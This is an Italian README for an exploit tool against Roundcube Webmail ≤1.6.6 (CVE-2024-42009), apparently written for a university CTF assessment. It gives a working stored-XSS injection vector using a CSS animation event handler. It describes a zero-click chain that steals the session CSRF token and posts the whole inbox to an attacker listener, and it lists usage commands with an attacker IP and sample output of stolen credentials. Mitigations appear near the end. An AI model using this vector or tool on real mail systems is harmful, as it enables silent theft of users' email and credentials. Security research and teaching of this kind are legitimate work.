
Exploit XSS memorizzato per Roundcube Webmail ≤1.6.6 (CVE-2024-42009) con esfiltrazione email zero-click tramite gestori di eventi di animazione CSS. Include script di consegna SMTP e listener compatibile CORS per CTF e test di sicurezza autorizzati.
Solo per test di sicurezza autorizzati, ambienti CTF e ricerca educativa.
L'uso di questo strumento su sistemi di cui non si è proprietari o per i quali non si dispone di autorizzazione scritta è illegale ai sensi del Computer Misuse Act 1990 (UK), del CFAA (US) e delle leggi equivalenti nel mondo.
| Campo | Dettaglio |
|---|---|
| CVE | CVE-2024-42009 |
| Software interessato | Roundcube Webmail ≤ 1.6.6 |
| Versione corretta | 1.6.7 / 1.6.8 |
| Punteggio CVSS v3.1 | 8.8 (Alto) |
| Vettore CVSS | AV:N/AC:L/PR:L/UI:R/S:C/C:H/I:H/A:N |
| CWE | CWE-79 — Neutralizzazione impropria dell'input durante la generazione di pagine web (XSS) |
| Tipo di attacco | XSS persistente → esfiltrazione email zero-click |
| Autenticazione richiesta | Nessuna (consegna SMTP); Bassa (la vittima deve aprire l'email) |
Il sanificatore HTML di Roundcube 1.6.6 non riesce a rimuovere i gestori di eventi JavaScript associati ai keyframe delle animazioni CSS all'interno di un attributo malformato del tag <body>.
Vettore di iniezione:
<style>@keyframes x { from { opacity: 1; } to { opacity: 1; } }</style>
<body style="animation: x 0.001s;" onanimationstart="/* arbitrary JS */">
Quando la vittima apre l'email nella propria sessione Roundcube autenticata, l'animazione CSS scatta immediatamente. Il gestore onanimationstart viene eseguito con pieno accesso all'oggetto JavaScript rcmail, incluso request_token della sessione.
Catena di exploit:
1. Attacker sends malicious HTML email to victim via unauthenticated SMTP relay (port 25)
2. Victim opens email in Roundcube — animation fires, JS executes (zero clicks required)
3. JS reads rcmail.env.request_token (valid CSRF token for the session)
4. JS iterates all inbox UIDs via Roundcube's internal mail API
5. Each message is fetched and its content collected
6. All inbox data is POSTed as JSON to the attacker's HTTP listener
7. Attacker reads recovered emails — may contain credentials, session data, or sensitive communications
cve-2024-42009-roundcube-xss/
├── exploit.py # Sends the XSS payload via unauthenticated SMTP
├── listener.py # CORS-capable HTTP server; receives and prints exfiltrated inbox data
├── payload.html # Standalone XSS payload for manual inspection or Burp delivery
└── README.md
smtplib, http.server, json, argparse)python3 listener.py --port 8080
Output quando arrivano i dati:
[+] Exfiltration received from 192.168.62.128
[*] Session token : abc123...
[*] Emails captured: 19
--- Email 1 ---
UID : 1
From : [email protected]
Subject : SSH Access Credentials
Body : Your credentials are: ...
Il dump JSON completo viene salvato automaticamente in exfil_dump.json.
python3 exploit.py \
--smtp 192.168.62.128 \
--port 25 \
--from [email protected] \
--to [email protected] \
--attacker 192.168.62.129 \
--lport 8080 \
--subject "Security Advisory - Action Required"
Una volta che l'email viene aperta in Roundcube ≤ 1.6.6, il listener stamperà il contenuto della casella di posta esfiltrato.
Il purificatore HTML di Roundcube è responsabile della rimozione degli attributi pericolosi prima di renderizzare l'HTML delle email in arrivo. Nelle versioni ≤ 1.6.6, il purificatore rimuove correttamente onclick, onerror e gestori simili — ma non rimuove i gestori di eventi sulle animazioni CSS (onanimationstart, onanimationend, onanimationiteration).
Poiché le animazioni CSS scattano come parte del rendering (non dell'interazione dell'utente), il gestore viene eseguito nel momento in cui l'email viene aperta — nessun clic su link, nessuna azione dell'utente oltre all'apertura del messaggio.
L'oggetto JavaScript rcmail è globalmente accessibile in ogni sessione Roundcube autenticata. Espone rcmail.env.request_token, che è il token CSRF della sessione. Combinato con gli endpoint API di posta di Roundcube (?_task=mail&_action=list, ?_action=show), il payload può leggere l'intera casella di posta senza innescare ulteriori autenticazioni.
| Versione | Stato |
|---|---|
| ≤ 1.6.6 | Vulnerabile |
| 1.6.7 | Corretta |
| 1.6.8 | Corretta (consigliata) |
| 1.5.x LTS | Consultare l'avviso del fornitore |
| Azione | Dettaglio |
|---|---|
| Aggiornamento | Roundcube 1.6.8 o successivo corregge questa classe di XSS |
| Header CSP | Distribuire Content-Security-Policy: default-src 'self'; script-src 'self' sul vhost della webmail per bloccare l'esecuzione di JS inline |
Questo PoC è stato sviluppato e testato come parte di una valutazione di penetration testing Boot-to-Root CTF nel modulo Ethical Hacking and Penetration Testing, MSc Cybersecurity, Coventry University (2025–2026). Tutti i test sono stati condotti in un ambiente di laboratorio VMware isolato con esplicita autorizzazione scritta.
Autore: Segun Akinsoyinu
Portfolio: segunakinsoyinu.github.io/MyPortfolio
Questo codice è rilasciato esclusivamente per scopi educativi e di ricerca sulla sicurezza autorizzati. L'autore non si assume alcuna responsabilità per un uso improprio. Prima di utilizzare questo strumento, assicurati di avere l'esplicita autorizzazione scritta per testare il sistema target.
| Argomento | Descrizione |
|---|
--smtp | IP o hostname del server SMTP target |
--port | Porta SMTP (default: 25) |
--from | Indirizzo del mittente (qualsiasi valore accettato dal relay) |
--to | Indirizzo email della vittima |
--attacker | Il tuo IP — incorporato nel payload come raccoglitore dell'esfiltrazione |
--lport | Porta del tuo listener (default: 8080) |
--subject | Oggetto dell'email |
| Relay SMTP | Disabilitare il relay non autenticato sulla porta 25 — richiedere AUTH per tutte le consegne interne |